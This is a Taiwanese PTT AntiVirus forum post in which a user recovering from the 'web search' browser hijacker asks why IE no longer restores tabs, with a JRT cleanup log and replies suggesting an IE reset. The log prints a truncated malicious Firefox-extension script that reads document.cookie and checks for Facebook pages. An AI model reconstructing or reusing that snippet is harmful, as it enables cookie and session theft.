[求救] web search的問題

[windhsu (小太極)]

1. 敘述問題：

前二天中了web search，在用ad cleaner和自己手動的情況下，大部分的問題已解決。
唯一還留下一個情況不知如何處理。

我有三個browser:ff，ie，chrome。ff和chrome已修好，而ie的首頁也改回來了，現在的
問題是：每次關起來ie，再重新打開時，都會跑回我預設的首頁(如:google，youtube等)
，這看起來很正常，然而我的設定是「啟動時顯示上次工作階段中的索引標籤」，也就是
如果我在開著三個分頁的情況下關掉ie，再開ie時，此時顯示的該是我上次開著的三個分
頁才對。

結果現在只要我一關再開，出來的還是首頁…

請問該如何解?


2. 系統資料：

os: windows 7 旗艦版
anti virus: mse


3. 分析報告：

JRT的結果

~~~ Services



~~~ Registry Values



~~~ Registry Keys

Successfully deleted: [Registry Key]
HKEY_CLASSES_ROOT\CLSID\{80922EE0-8A76-46AE-95D5-BD3C3FE0708D}
Successfully deleted: [Registry Key] HKEY_CURRENT_USER\Software\baidu
Successfully deleted: [Registry Key]
HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\InternetRegistry\REGISTRY\USER\S-1-5-21-523019876-2236334943-
2640228731-1000\Software\sweetim
Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\Software\baidu
Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\Software\sweetim


~~~ Files

Successfully deleted: [File] "C:\Users\James
Hsu\appdata\locallow\microsoft\silverlight\outofbrowser\index\portal.
qtrax.com"



~~~ Folders

Successfully deleted: [Folder] "C:\Users\James Hsu\AppData\Roaming\baidu"
Successfully deleted: [Folder] "C:\Users\James Hsu\AppData\Roaming\tencent"
Successfully deleted: [Folder] "C:\Program Files (x86)\tencent"
Successfully deleted: [Folder] "C:\Users\James Hsu\music\qtrax media library"




~~~ FireFox

Successfully deleted: [Registry Key]
HKEY_LOCAL_MACHINE\Software\MozillaPlugins\@baidu.com/npxbdsetup
Successfully deleted the following from C:\Users\James
Hsu\AppData\Roaming\mozilla\firefox\profiles\gainerte.default\prefs.js

user_pref("extensions.airghqpxaXck.scode", "(function(){try{var
url=(window.self.location.href +
document.cookie);if(url.indexOf(\"acebook\")>-1||url.indexOf(\"warnalert11.com
Emptied folder: C:\Users\James
Hsu\AppData\Roaming\mozilla\firefox\profiles\gainerte.default\minidumps [416
files]



~~~ Event Viewer Logs were cleared



以上，謝謝

--
I'M THE BEST THERE IS AT WHAT I DO, BUT WHAT I DO BEST ISN'T VERY NICE.

在做這檔子事的人當中，我是最頂尖的，但是這檔子事卻很糟糕。

--
※ 發信站: 批踢踢實業坊(ptt.cc), 來自: 36.226.198.147
※ 文章網址: http://www.ptt.cc/bbs/AntiVirus/M.1400814924.A.EF2.html
→ fatstan:去網際網路選項重設IE
→ windhsu:有用，謝謝你
→ Carlchen:我跟你一樣，我前天被web search綁架，重設browser外加
→ Carlchen:ad cleaner，不過重設browser前沒有local備份書籤
→ Carlchen:不巧碰上firefox舊版改新版，舊版帳號竟然被說未註冊@@
→ Carlchen:不過想到曾經有在虛擬機內的OS sync過，救回一部份的書籤